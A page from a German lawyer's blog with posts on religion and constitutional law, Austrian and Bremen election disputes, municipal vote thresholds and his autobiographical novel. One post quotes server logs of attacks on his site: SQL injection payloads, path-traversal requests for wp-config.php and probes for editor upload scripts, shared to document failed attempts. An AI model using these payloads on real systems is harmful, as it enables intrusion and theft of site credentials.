Grundrechte Dritter und andere mit Verfassungsrang ausgestattete Rechtswerte ausnahmsweise imstande, vorbehaltlos gewährte Grundrechte zu begrenzen (siehe nur BVerfGE 28, 243, 260 f.; BVerfGE 32, 98, 107). Ein deutlich kollidierendes Grundrecht stellt in erster Linie Art. 2 Abs. 2 Satz 1 GG dar, wonach aus dem Recht auf Leben das Recht zu leben abgeleitet wird. Darüber hinaus müssen sich beispielsweise aber auch religiöse Gebräuche im Rahmen gewisser übereinstimmender sittlicher Grundanschauungen der heutigen Kulturvölker halten (so BVerfGE 24, 236, 246). Für mich ist nach alledem die Sonne mein Gott oder sollte ich besser schreiben "meine Göttin". Ohne sie würde hier auf der Erde gar kein Leben möglich sein. Es dürfte meines Erachtens auch nicht entscheidend sein, wer der "richtige" Gott ist. Einigkeit besteht doch bestimmt darin, dass Gott das Leben erschuf. Dann kann es doch denklogisch nicht richtig sein, dass Menschen - manchmal sogar unter Berufung auf Gott ("Allahu Akbar" = "Gott ist groß") - anderen Mensch Leid zufügen oder gar andere Menschen töten. Denn Gott hat das Böse in der Welt nicht gewollt und nicht geschafft. Im Neuen Testament erscheint das Böse als eine vom Menschen ausgehende, ihn im Denken und Handeln leitende "Macht“. Deshalb wird sie auch als eine Einstellung und Haltung definiert, die ganz der Verantwortung des Menschen unterliegt (Praktisches Bibel-Lexikon, Hrsg. von A. Grabner-Heider, Marix-Verlag, Wiesbaden 2005; zitiert nach: Volker Faust, DAS BÖSE AUS PSYCHIATRISCHER SICHT, 2008, Seite 8). Darüber hinaus glaube ich an Gerechtigkeit und möchte in diesem Zusammenhang auf folgendes Zitat verweisen: "Gott ist höchst gerecht; er belohnt das Gute und bestraft das Böse. Auf gute Handlungen folgt Gutes, auf böse aber Böses." (Christkatholisches Hausbuch, gesammelt von einem Weltpriester, 3. Auflage, Wien 1823, Seite 304) Soweit ich mich erinnern kann, prägt der Kontext dieses Zitates meine Lebensphilosophie. Denn anders ausgedrück bedeutet dies für mich: gute Menschen kommen in den Himmel und böse Menschen kommen in die Hölle. Dabei belohnt und bestraft Gott die Menschen nach meinen Vorstellungen teilweise schon auf Erden, vollkommen aber erst nach dem Tode. Die Hölle stelle ich mir als eine Art Gefängnis vor, in dem es um die Bestrafung einiger Seelen für besonders schlechte Taten auf der Erde geht. Dort sollen sie durch das Leid vom Satan, den Teufel, an sich selbst erfahren, dass es nicht gut ist, anderen Wesen Leid zuzufügen. Da ich bekanntlich ein geduldiger Mensch bin, vertraue ich meiner Philosophie, wonach böse Menschen früher oder später ihre gerechte Strafe bekommen werden. Ansonsten würden die Bemühungen all der guten Menschen auf diesem Planeten umsonst sein. Dass es sich aber lohnt, ein guter Mensch zu sein, bestätigen mir die Gesichtsausdrücke von Toten, die ich in der Vergangenheit gesehen habe. Manche hatten einen neutralen, manche einen schockierten und manche einen glücklichen Gesichtsausdruck. Die letzte Leiche, die ich sah, hatte sogar ein Lächeln im Gesicht. Diesen Menschen kannte ich sehr gut und ich bin mir sicher, dass er ein guter Mensch war! In meinem gesamten Leben war ich stets darum bemüht, ein guter Mensch zu sein. Dies wird sich auch in der Zukunft nicht ändern. Deshalb habe ich keine Angst vor dem Tod. Wer auch immer der richtige Gott sein mag, er wird nach meiner Überzeugung dafür sorgen, dass böse Menschen spätestens nach dem Tode die gerechte Strafe bekommen werden. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Bundespräsidentenwahl in Österreich | 0 | 06.08.2016 - 19:50:48 | 25.09.2016 - 10:51:30 |
Am 4. Dezember 2016 findet die Wahlwiederholung der Stichwahl der Bundespräsidentenwahl in Österreich statt. Denn die Stichwahl vom 25. Mai 2016, in welcher der Grünen-Politiker Alexander Van der Bellen laut amtlichem Endergebnis eine knappe Mehrheit vor dem Kandidaten der FPÖ, Norbert Hofer, erhalten hatte, hat der Verfassungsgerichtshof in Wien annulliert. Zwar lägen nach den Ausführungen des Gerichts keine Hinweise auf eine tatsächliche Manipulation vor. Angesichts der zahlreichen Verfahrensfehler und Gesetzeswidrigkeiten bei der Auszählung der Briefwahlstimmen hätte aber eine wahlentscheidende Manipulation stattfinden können (FAZ vom 03.08.2016, Seite 8). Das höchste Gericht hatte sich damit an eine seit 1927 geübte Rechtsprechung gehalten, wonach das "hätte" einer Manipulation eben ausreichte (FAZ a.a.O. mit kritischen Stimmen dazu). Darüber hinaus liegt der Staatsanwaltschaft eine Anzeige vor, wonach angeblich tatsächlich Manipulationen stattgefunden hätten. Es seien in Pflegeheimen ohne Wissen der betroffenen Personen Briefwahlkarten bestellt worden (FAZ a.a.O.). Würde man die in Österreich geübte Rechtsprechung auf den Wahlkrimi über das Bremische Landtagsmandat übertragen, so müsste der Bremische Staatsgerichtshof in seiner angekündigten Entscheidung für den 13. September 2016 eigentlich zu dem Ergebnis gelangen, dass in Bremerhaven eine Neuwahl der Bürgerschaftswahl 2015 stattfindet: 572 falsch bewertete Stimmen, 13 im Nachhinein verloren gegangene Stimmzettel ![]() Wahlbezirk abgewiesene Bürger, weil sie keinen Personalausweis dabei hatten sowie drei EU-Bürger, die gewählt haben, aber bei einer Landtagswahl nicht wahlberechtigt sind (siehe dazu NZ vom 03.08.2016, Seite 11). http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Hackerangriffe nehmen deutlich zu | 0 | 14.07.2016 - 17:42:34 | 14.07.2016 - 17:42:34 |
Schon seit Jahren beobachte ich die Hackerangriffe auf meine Websites, insbesondere auf mein juristisches Expertensystem Justitia21. Es war schon schwierig genug, solch ein umfassendes Experten-System-Shell-Projekt für das Internet zu entwickeln und zu programmieren. Aber mittlerweile nehmen die Aufwendungen zur Absicherung gegen Hackerangriffe genauso viel Zeit in Anspruch wie die Entwicklung des Projektes selbst. Nachdem ich vor wenigen Tagen die Anpassung meiner Programme bzw. Apps auf die neue 64-Bit-Serverumgebung erfolgreich abgeschlossen habe, erfolgten unmittelbar ![]() Exemplarisch möchte ich hier einen Teil der Angriffsserie vom 13.07.2016 sowie vom 10.07.2016 veröffentlichen: I. Vom 13.07.2016 1. 217.12.x.x - - [13/Jul/2016:22:08:55 +0200] "GET /webli.cgi?action=blogthemenliste%27%20aND%20BeNChMaRK%282999999%2 CMd5%28NoW%28%29%29%29%20AnD%20%271 HTTP/1.0" 200 5208 www.andre-helmke.de "-" "Opera/9.27" "-" 2. 217.12.x.x - - [13/Jul/2016:22:08:56 +0200] "GET /webli.cgi?action=blogthemenliste%27%26%26BeNChMaRK%282999999%2CmD 5%28NOW%28%29%29%29%26%26%271 HTTP/1.0" 200 5208 www.andre-helmke.de "-" "Opera/9.27" "-" 3. 217.12.x.x - - [13/Jul/2016:22:08:56 +0200] "GET /webli.cgi?action=blogthemenliste999999.1%20union%20select%20unhex (hex(version()))%20--%20and%201%3D1 HTTP/1.1" 200 5208 www.andre-helmke.de "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; ds-66843412; Sgrunt|V109|1|S-66843412|dial; .NET CLR 1.1.4322)" "-" 4. 217.12.x.x - - [13/Jul/2016:22:08:56 +0200] "GET /webli.cgi?action=blogthemenliste99999%27%20union%20select%20unhex (hex(version()))%20--%20%27x%27=%27x HTTP/1.1" 200 5208 www.andre-helmke.de "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; generic_01_01; InfoPath.1)" "-" 5. 217.12.x.x - - [13/Jul/2016:22:08:56 +0200] "GET /webli.cgi?action=blogthemenliste99999%22%20union%20select%20unhex (hex(version()))%20--%20%22x%22=%22x HTTP/1.1" 200 5208 www.andre-helmke.de "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; dial; E-nrgyPlus; .NET CLR 1.1.4322; InfoPath.1)" "-" 6. 217.12.x.x - - [13/Jul/2016:22:08:56 +0200] "GET /webli.cgi?action=blogthemenliste%20or%20(1,2)=(select*from(select %20name_const(CHAR(111,108,111,108,111,115,104,101,114),1),name_co nst(CHAR(111,108,111,108,111,115,104,101,114),1))a)%20--%20and%201 %3D1 HTTP/1.1" 200 5208 www.andre-helmke.de "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; dial; E-nrgyPlus; .NET CLR 1.1.4322; InfoPath.1)" "-" 7. 217.12.x.x - - [13/Jul/2016:22:08:57 +0200] "GET /webli.cgi?action=blogthemenliste%27%20or%20(1,2)=(select*from(sel ect%20name_const(CHAR(111,108,111,108,111,115,104,101,114),1),name _const(CHAR(111,108,111,108,111,115,104,101,114),1))a)%20--%20%27x %27=%27x HTTP/1.1" 200 5208 www.andre-helmke.de "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; eMusic DLM/3; MSN Optimized;US; MSN Optimized;US)" "-" 8. 217.12.x.x - - [13/Jul/2016:22:08:57 +0200] "GET /webli.cgi?action=blogthemenliste%22%20or%20(1,2)=(select*from(sel ect%20name_const(CHAR(111,108,111,108,111,115,104,101,114),1),name _const(CHAR(111,108,111,108,111,115,104,101,114),1))a)%20--%20%22x %22=%22x HTTP/1.1" 200 5208 www.andre-helmke.de "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iebar; yplus 5.6.02b)" "-" II. Vom 10.07.2016 1. 46.161.x.x - - [10/Jul/2016:05:12:51 +0200] "GET /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-con fig.php HTTP/1.1" 302 232 www.andre-helmke.de "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0" "-" 2. 46.161.x.x - - [10/Jul/2016:05:13:15 +0200] "GET /wp-admin/admin-ajax.php?action=getfile&/../../wp-config.php HTTP/1.1" 302 232 www.andre-helmke.de "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0" "-" 3. 46.161.x.x - - [10/Jul/2016:05:13:28 +0200] "GET /wp-admin/admin-ajax.php?action=kbslider_show_image&img=../wp-conf ig.php HTTP/1.1" 302 232 www.andre-helmke.de "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0" "-" 4. 46.161.x.x - - [10/Jul/2016:05:13:38 +0200] "GET /wp-content/force-download.php?file=../wp-config.php HTTP/1.1" 302 232 www.andre-helmke.de "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0" "-" 5. 46.161.x.x - - [10/Jul/2016:05:13:46 +0200] "GET /wp-content/plugins/ajax-store-locator-wordpress_0/sl_file_downloa d.php?download_file=../../../wp-config.php HTTP/1.1" 302 232 www.andre-helmke.de "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0" "-" 6. 46.161.x.x - - [10/Jul/2016:05:14:59 +0200] "GET /wp-content/plugins/wp-filemanager/incl/libfile.php?&path=../../&f ilename=wp-config.php&action=download HTTP/1.1" 302 232 www.andre-helmke.de "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0" "-" 7. 46.161.x.x - - [10/Jul/2016:05:15:06 +0200] "GET /wp-content/themes/FR0_theme/down.php?path=../../../wp-config.php HTTP/1.1" 302 232 www.andre-helmke.de "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0" "-" 8. 46.161.x.x - - [10/Jul/2016:05:15:16 +0200] "GET /wp-content/themes/MichaelCanthony/download.php?file=../../../wp-c onfig.php HTTP/1.1" 302 232 www.andre-helmke.de "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0" "-" III. Ebenfalls vom 10.07.2016 1. 134.249.x.x - - [10/Jul/2016:11:19:22 +0200] "GET /core_main/editor/editor/filemanager/connectors/uploadtest.html HTTP/1.1" 302 232 andre-helmke.de "http://andre-helmke.de/core_main/editor/editor/filemanager/connec tors/uploadtest.html" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-" 2. 134.249.x.x - - [10/Jul/2016:11:19:22 +0200] "GET /js/fckeditor/editor/filemanager/connectors/uploadtest.html HTTP/1.1" 302 232 andre-helmke.de "http://andre-helmke.de/js/fckeditor/editor/filemanager/connectors /uploadtest.html" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-" 3. 134.249.x.x - - [10/Jul/2016:11:19:22 +0200] "GET /plugins/fckeditor/editor/filemanager/connectors/uploadtest.html HTTP/1.1" 302 232 andre-helmke.de "http://andre-helmke.de/plugins/fckeditor/editor/filemanager/conne ctors/uploadtest.html" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-" 4. 134.249.x.x - - [10/Jul/2016:11:19:22 +0200] "GET /ckeditor/samples/plugins/htmlwriter/outputhtml.html HTTP/1.1" 302 232 andre-helmke.de "http://andre-helmke.de/ckeditor/samples/plugins/htmlwriter/output html.html" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-" 5. 134.249.x.x - - [10/Jul/2016:11:19:22 +0200] "GET /files/filebox/File/fileUpload.Html HTTP/1.1" 302 232 andre-helmke.de "http://andre-helmke.de/files/filebox/File/fileUpload.Html" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-" 6. 134.249.x.x - - [10/Jul/2016:11:19:22 +0200] "GET /automne/fckeditor/editor/filemanager/connectors/uploadtest.html HTTP/1.1" 302 232 andre-helmke.de "http://andre-helmke.de/automne/fckeditor/editor/filemanager/conne ctors/uploadtest.html" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-" 7. 134.249.x.x - - [10/Jul/2016:11:19:22 +0200] "GET /files/fckeditor/editor/filemanager/connectors/uploadtest.html HTTP/1.1" 302 232 andre-helmke.de "http://andre-helmke.de/files/fckeditor/editor/filemanager/connect ors/uploadtest.html" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-" 8. 134.249.x.x - - [10/Jul/2016:11:19:22 +0200] "GET /admin/fckeditor/editor/filemanager/connectors/uploadtest.html HTTP/1.1" 302 232 andre-helmke.de "http://andre-helmke.de/admin/fckeditor/editor/filemanager/connect ors/uploadtest.html" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" "-" Nach meiner Recherche kamen die Angriffe zu I. und II. direkt aus Moskau (Russland) und die unter III. aus Kiew (Ukraine). Interessant ist für mich, dass man sich dort anscheinend sehr für meine Blogthemen interessiert. Wundern tut es mich allerdings nicht wirklich! ![]() Normalerweise wird die Blogthemenliste wie folgt aufgerufen: https://www.andre-helmke.de/webli.cgi?action=blogthemenliste Beängstigend sind für mich die weiteren Hackerangriffe unter III., wonach ganz offensichtlich versucht worden ist, irgendeine Upload-Funktion zu aktivieren. Derartige Funktionen ermöglichen es, Dateien auf den Server hochzuladen. Wer sich bereits meinen autobiografischen Roman durchgelesen hat (die Downloadzahl liegt mittlerweile bei weit über 1.000), der kann erahnen, welche Dateien hier womöglich auf meinen Server hochgeladen werden sollten ... ![]() Glücklicherweise sind diese Hackerangriffe bislang erfolglos geblieben. Aus den obigen Angriffen zu II. ist ferner erkennbar, dass die Hacker versucht haben, typische Funktionen von Content-Management-Systemen (CMS) aufzurufen. Da ich aber meine Programme bzw. Apps völlig unabhängig von solchen CMS selbst entwickelt und selbst programmiert habe, sind derartige Versuche bislang gescheitert. Nicht zuletzt wohl auch deshalb, weil ich ein eigenes Zugangs- und Rechtemanagementsystem entwickelt und programmiert habe. Irgendwie habe ich zunehmend das Gefühl, dass ich einige Dinge in meinem Leben richtig gemacht habe. Das macht mich sehr stolz. ![]() Übrigens: Anregungen und Verbesserungsvorschläge sowie Investoren für mein Expertensystem-Shell-Projekt bzw. für Justitia21 sind weiterhin herzlich willkommen! http://www.justitia21.de [Autor: RA Dr. André Helmke] |
![]() | Sperrklausel? NEIN, DANKE! | 0 | 01.04.2016 - 09:47:16 | 01.04.2016 - 09:47:16 |
Neuerdings ist in den Zeitungen wieder einmal zu lesen gewesen, dass SPD und CDU eine Sperrklausel bei den Wahlen zur Stadtverordnetenversammlung hier in Bremerhaven einführen wollen. Geplant ist eine 2,5- oder 3-Prozent-Hürde (siehe NZ vom 26.02.2016, Seite 9). Für mich doch sehr enttäuschend ist zunächst, dass sich die CDU an diesem Vorhaben beteiligt. Die CDU war es, die vor der Wahl die Einführung der Direktwahl des Oberbürgermeisters "versprochen" hatte. Deshalb hat sie vermutlich auch viele Wählerstimmen hier in Bremerhaven bekommen. Nun hört und liest man davon kein Wort mehr. Zuletzt wurde in der NZ vom 25.06.2015, Seite 11, hierzu ein wesentlicher Punkt des Koalitionsvertrages zwischen SPD und CDU vorgestellt: "Die Direktwahl des Oberbürgermeisters werde angestrebt, sei aus verfassungs- und beamtenrechtlichen Gründen aber schwieriger als gedacht. Vor 2023 werde deswegen daraus auch nichts werden", hieß es. Stattdessen beteiligt sich die CDU nun an der Einführung einer Prozent-Hürde auf kommunaler Ebene. All dies stößt bei mir auf Unverständis. Zunächst gibt es für mich überhaupt keinen Zweifel daran, dass die Einführung irgendeiner Prozent-Hürde auf kommunaler Ebene verfassungswidrig ist. Die kommunalen Vertretungsorgange sind "nur" Teil der Exekutive und haben keine Gesetzgebungskompetenz. Ihnen sind in erster Linie verwaltende Tätigkeiten anvertraut. Insoweit kann eine Prozent-Hürde für Bundestags- oder Landtagswahlen nicht ohne Weiteres auf die Erforderlichkeit von Sperrklauseln auch für Kommunalwahlen geschlossen werden. Bei gesetzgebenden Körperschaften sind klare Mehrheiten zur Sicherung einer politisch aktionsfähigen Regierung unentbehrlich. Fraglich ist meines Erachtens allerdings, ob dafür eine Fünf-Prozent-Sperrklausel erforderlich ist. Meines Erachtens würde auch eine Drei-Prozent-Hürde ausreichen. Nach einem Urteil des Bremischen Staatsgerichtshofs (BremStGH, Urteil vom 14. 5. 2009 , Az. St 2/08) greift eine Fünf-Prozent-Sperrklausel auf kommunaler Ebene erheblich in die Wahlrechtsgleichheit und Chancengleichheit der Wahlbewerber ein. Nur eine mit einiger Wahrscheinlichkeit zu erwartende erhebliche Beeinträchtigung der Funktionsfähigkeit der kommunalen Vertretungsorgane kann eine solche Klausel rechtfertigen (im Anschluss an BVerfGE 120, BVERFGE Jahr 120 Seite 82 = NVwZ 2008, NVWZ Jahr 2008 Seite 407). Auch unter Berücksichtigung der Wahl der haupt- und ehrenamtlichen Magistratsmitglieder durch die Stadtverordnetenversammlung der Stadt Bremerhaven ist eine Beeinträchtigung der Funktionsfähigkeit der Stadtverordnetenversammlung und des Magistrats ohne Wiedereinführung der Fünf-Prozent-Sperrklausel für die Wahl zur Stadtverordnetenversammlung nicht mit der erforderlichen Wahrscheinlichkeit zu erwarten (BremStGH a.a.O.). Nach einem Urteil des Bundesverfassungsgerichts vom 09.11.2011 (BverfG, Az. 2 BvC 4/10, 2 BvC 6/10, und 2 BvC 8/10) verstößt eine Fünf-Prozent-Klausel – sogar bei Europawahlen – gegen die Grundsätze der Wahlrechts- und Chancengleichheit der Parteien, ist daher verfassungswidrig und nichtig. Diese Urteile sind meines Erachtens entsprechend auf sämtliche Sperrklauseln, egal in welcher Höhe, auf kommunaler Ebene anwendbar. Derartige Initiativen zeigen sehr deutlich, wie mächtig die großen Parteien in dieser Stadt geworden sind. Für mich erweckt dies den Eindruck, als ob sich die politische Klasse mit der Einführung dieser Sperrklausel ihre eigenen Pfründe sichern und Andersdenkende möglichst im Keim ersticken möchte. Dieses Vorhaben entspricht überhaupt nicht meinem Demokratieverständnis. In einer Demokratie gehört es eben dazu, sich mit den unterschiedlichsten Meinungen auseinanderzusetzen. Nur wenn das Grundrecht auf Meinungsäußerung ernst genommen wird, und die Menschen sich gegenseitig respektieren, wird man zu Kompromissen bereit sein. So wird auch eine Mehrheitsfindung möglich sein. Aber die Art und Weise, wie hier mit Andersdenkenden umgegangen wird, führt früher oder später dazu, dass sich diese Menschen von der Politik distanzieren und zum Nichtwähler werden. Eine Katastrophe für unsere Demokratie! Eine Demokratie lebt gerade auch von einer starken Opposition. Sie ist in der Praxis die einzige Kraft, die die Regierung wirklich kontrollieren kann. Wird die Opposition mit einer Prozent-Hürde aus dem "Parlament" ausgeschlossen und wie aktuell eine große Koalition gebildet, findet faktisch keine Kontrolle der Regierung mehr statt! Dadurch würden die postdemokratischen Tendenzen in Deutschland nur noch gestärkt werden. Das darf in einer Demokratie nicht sein! Exemplarisch möchte ich am Beispiel des "Zugangs zu den Personalakten" dieser Stadt durch das Rechnungsprüfungsamt aufzeigen, was es bedeutet, eine starke Opposition zu haben. Seit Jahren ringten die Rechnungsprüfer dieser Stadt darum, auch die Personalakten der Verwaltung einsehen zu dürfen, was übrigens im gesamten Bundesgebiet selbstverständlich ist. Insbesondere die SPD dieser Stadt wehrte sich gegen die Einsicht in die Personalakten (siehe SJ vom 13.03.2016, Seite 2). Erst auf massiven Druck der Oppositionsparteien und nach zwei Anträgen von FDP und Grünen konnte eine Stimmenenthaltung der großen Regierungskoalition aus CDU und SPD erreicht werden (siehe SJ a.a.O.). Am 10.03.2016 konnte so die Stadtverordnetenversammlung ein uneingeschränktes und ohne Vorbedingungen eingeräumtes Akteneinsichtsrecht der Prüfer beschließen. Da kann man ja nur hoffen, dass sich das Rechnungsprüfungsamt nun die Personalakten dieser Stadt etwas geanauer anschaut! ![]() Der Verein "Mehr Demokratie" setzt sich bereits seit vielen Jahren für die Reform der Wahlsysteme ein, um die Parteiendominanz zurückzudrängen. Beispielsweise wurde durch diesen Verein - endlich - auch im Lande Bremen das Kumulieren und Panaschieren eingeführt (§ 6 Abs. 4 Satz 2 BremWahlG). Der Wähler kann danach eine oder mehrere seiner Stimmen an Listen vergeben, diese Stimmen wiederum bei einer einzelnen Liste anhäufen (kumulieren) oder an mehrere Listen verteilen (panaschieren). Aber das neue Wahlrecht führt leider auch zu einem Personenstimmenparadox (siehe dazu FAZ vom 17.03.2016, Seite 10). Nach einer Untersuchung der Wahlen 2015 in Hamburg, wo ein vergleichbares Wahlrecht gilt wie im Lande Bremen, kamen Kandidaten in den 17 Hamburger Wahlkreisen nicht in die Bürgerschaft, obwohl sie mehr Personenstimmen erhielten als gewählte Kandidaten. Eine Analyse der Bremischen Bürgerschaftswahl 2015 durch die Autoren Probst/Schröder, "Das Bremer Wahlsystem: Intransparent, paradox und möglicherweise verfassungswidrig", hat auch im Lande Bremen dieses Paradox am Beispiel von Thomas vom Bruch (CDU) bestätigt. Er hatte 1460 Personenstimmen erhalten und damit mehr als viele Bewerber anderer Parteien, die über ein Personenmandat in die Bürgerschaft einzogen. Trotzdem reichte es für ihn nicht für ein solches. Denn für die CDU gab es nur acht Personenmandate. Elf davon wären aber nötig gewesen, damit er über seinen Rangplatz in der Personenstimmenreihenfolge der CDU ein Personenmandat erzielt hätte. Ein Listenmandat bekam er auch nicht: bei den acht Listenmandaten der CDU stand er mit seinem neunten Listenplatz genau eine Position zu weit hinten. Soweit war das Wahlergebnis für ihn sehr bedauerlich (weitere Einzelheiten dazu in Probst/Schröder a.a.O., Seite 14 ff.). Nach Auffassung des Bremischen Staatsgerichtshofs verstößt es nicht gegen die Bremische Landesverfassung, wenn nach § 7 Abs. 6 BremWG bei der Verteilung der Mandate innerhalb eines Wahlvorschlags zunächst die nach Listenwahl zu vergebenden Sitze und erst anschließend die Sitze für die nicht bereits nach der Listenwahl berücksichtigten Bewerber mit den höchsten Personenstimmenzahlen zugeteilt werden (BremStGH, Urteil vom 08.04.2010, Az. St 3/09). Dieses Urteil wird mit den heutigen Erkenntnissen meines Erachtens nicht mehr zu halten sein. Die vorgenannten Beispiele zeigen sehr deutlich, dass das derzeitige Wahlsystem verfassungswidrig ist, weil der gleiche Erfolgswert der Stimme verletzt wird. Art. 28 Abs. 1 Satz 2 GG verlangt eine gleiche Wahl bei der Wahl der Volksvertretungen der Länder. Die Stimme eines jeden Wahlberechtigten muss den gleichen Zählwert und die gleiche Erfolgschance haben (siehe nur BVerfGE 121, 266, 295). Die Wahlrechtsgrundsätze gem. Art. 28 Abs. 1 Satz 2 GG gelten als objektives Recht auch für die Wahlen in den Ländern, Kreisen und Gemeinden (siehe nur BVerfGE 60, 162, 167). Demnach muss sichergestellt sein, dass innerhalb des für die Vergabe nach Personenstimmen eröffneten Mandatsanteiles eine möglichst große Zahl von Personenstimmen auch mandatsrelevant wird (ähnlich auch Külpmann, "Zur Verfassungswidrigkeit der Mandatszuteilung im bremischen Wahlrecht", NordÖR 1/2010, 1, 5). Ich bin daher uneingeschränkt für die Einführung eines reinen Persönlichkeitswahlrechts.Die Verteilung nach Personenstimmen stellt sicher, dass eine möglichst große Anzahl von Personenstimmen Mandatsrelevanz erreicht. Das wäre für mich "unmittelbare" Demokratie! Hilfsweise könnte ich auch mit dem Kompromissvorschlag unter 5.2 von Probst/Schröder (a.a.O., Seite 17 f.) leben. Sie schlagen u. a. die Einführung einer Personenwahl mit natürlicher Mandatshürde vor. Sie favorisieren hiernach eine vorrangige Vergabe der Mandate nach den Personenstimmen. Anstatt sich mit der Einführung einer ohnehin verfassungswidrigen Prozent-Hürde auf Kommunalebene zu befassen, sollten unsere Volksvertreter ihre kostbare Zeit lieber in die Einführung des zuvor beschriebenen Persönlichkeitswahlrechts und der Direktwahl des/der Oberbürgermeisters/in investieren. Ich bin zudem davon überzeugt, dass die Einführung eines (reinen) Persönlichkeitswahlrechts der allgemeinen Politikverdrossenheit entgegenwirken würde. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Autobiografischer Roman | 0 | 03.01.2016 - 15:06:19 | 01.03.2016 - 11:54:31 |
Im letzten Jahr habe ich sehr intensiv an meinem autobiografischen Roman "Justitia21 - Lebenswerk && Lebensenergie || warum ich Anwalt geworden bin ..." gearbeitet. Das Manuskript ist nun in der Version 1.05 fertig! ![]() ![]() ![]() Sehr, sehr lange habe ich mit mir gehadert, inwieweit es sinnvoll ist, einen autobiografischen Roman zu schreiben, zumal ich doch nur ein kleines Licht auf diesem Planeten bin. Aber als ich angefangen habe, mir die ersten Notizen über mein Leben zu machen, merkte ich, wie gut mir das tat. Alle schwierigen Gedanken konnte ich in den Computer eintippen und so in meinem Kopf löschen. Dies hatte mich in wirklich schwierigen Situationen sehr entlastet und beruhigt. Ich konnte immer wieder auf meine Gedanken in den Dateien zurückgreifen. Da gab es Menschen, die berichteten mir von Ereignissen, die man nur im Krimi sieht. Ich dachte in den ersten Jahren meines Berufslebens, dass diese Menschen ein Problem haben. Erst später habe ich mich mit meinen eigenen Erfahrungen an diese Erzählungen erinnert und verstanden, dass diese Menschen heftige Erlebnisse gehabt haben müssen. Auch ich habe in der Vergangenheit so viele merkwürdige Dinge erlebt, die ich zunächst eigentlich nicht glauben wollte oder nicht für möglich gehalten habe. Meine Notizen dienten keineswegs dazu, später einmal einen Roman darüber zu schreiben. Nein, ich wollte mich damit ausschließlich entlasten und kontrollieren. Das Nachlesen alter Vermerke hilft mir auch heute noch, mir selbst und insbesondere meiner Wahrnehmung zu vertrauen. Da ich einige Dinge kaum für möglich gehalten habe, wollte ich meine Erlebnisse im Wiederholungsfalle nachlesen, um meine Wahrnehmungen zu verifizieren. Als meine Notizen dann regelmäßig mit den neuen Wahrnehmungen übereinstimmten, wusste ich ganz sicher, dass ich noch sehr gut funktioniere. Ich weiß, dass ein autobiografischer Roman über tatsächliche Erlebnisse auch mit gewissen Risiken verbunden ist. Aber die vielen Erlebnisse in meinem Leben, sei es politische, berufliche und private, haben mich regelrecht dazu getrieben, diesen Roman zu schreiben. Aus heutiger Sicht ist mir eines klar geworden: das, was in der Wirklichkeit passiert, ist so schlimm, dass man es im besten Krimi nicht darstellen kann! Ich habe mir daher völlig losgelöst von meinen eigenen persönlichen Erlebnissen für diesen Roman eine völlig neue fiktive Geschichte ausgedacht. Ich hoffe, dass dieses Buch den einen oder anderen dabei behilflich ist, die Dinge im Leben ein wenig besser zu verstehen. Vielleicht inspiriert dieser Roman auch andere, die eigene Lebensaufgabe zu finden, um darüber neue Lebenslust zu entwickeln. Ich jedenfalls hätte mir gewünscht, dass mir solch ein Buch in meinen früheren Lebensjahren als Erwachsener zur Verfügung gestanden hätte. Letztendlich haben meine Erfahrungen im Leben dazu geführt, dass ich gern als Anwalt arbeite. Deshalb habe ich auf eine Habilitation verzichtet und mich pflichtbewusst für die Veröffentlichung dieses Romans entschieden. Vielleicht erreichen meine Botschaften in diesem Buch den einen oder den anderen Leser. Ich würde mich darüber sehr freuen. Jeder Mensch macht in seinem Leben unterschiedliche Erfahrungen. Gerade die sind es, die unser Leben, unsere Einstellungen, ja auch unsere Vorurteile prägen. Ich bitte daher um Verständnis, wenn die eine oder andere Ausführung in meinem autobiografischen Roman subjektiv gefärbt ist. Schließlich möchte ich vorsorglich noch auf Folgendes hinweisen: Die in diesem Werk erwähnten Personen und Ereignisse sind reine Erfindung und haben keinen Bezug zu lebenden oder bereits verstorbenen Personen. Hiervon ausgenommen ist lediglich die Umschreibung, wie ich zu der Entwicklung meines juristischen Expertensystems Justitia21 mit dem Expertensystem-Shell-Projekt (ESSP) gekommen bin. Der Roman kann ab sofort als E-Book-Ausgabe von meiner Homepage auf www.andre-helmke.de unter "Interessante Fälle" gedownloadet werden. Ich wünsche allen viele interessante Stunden beim Lesen! http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Seilschaften und Mobbing im Machtgefüge | 1 | 12.12.2013 - 11:10:22 | 03.01.2016 - 15:02:34 |
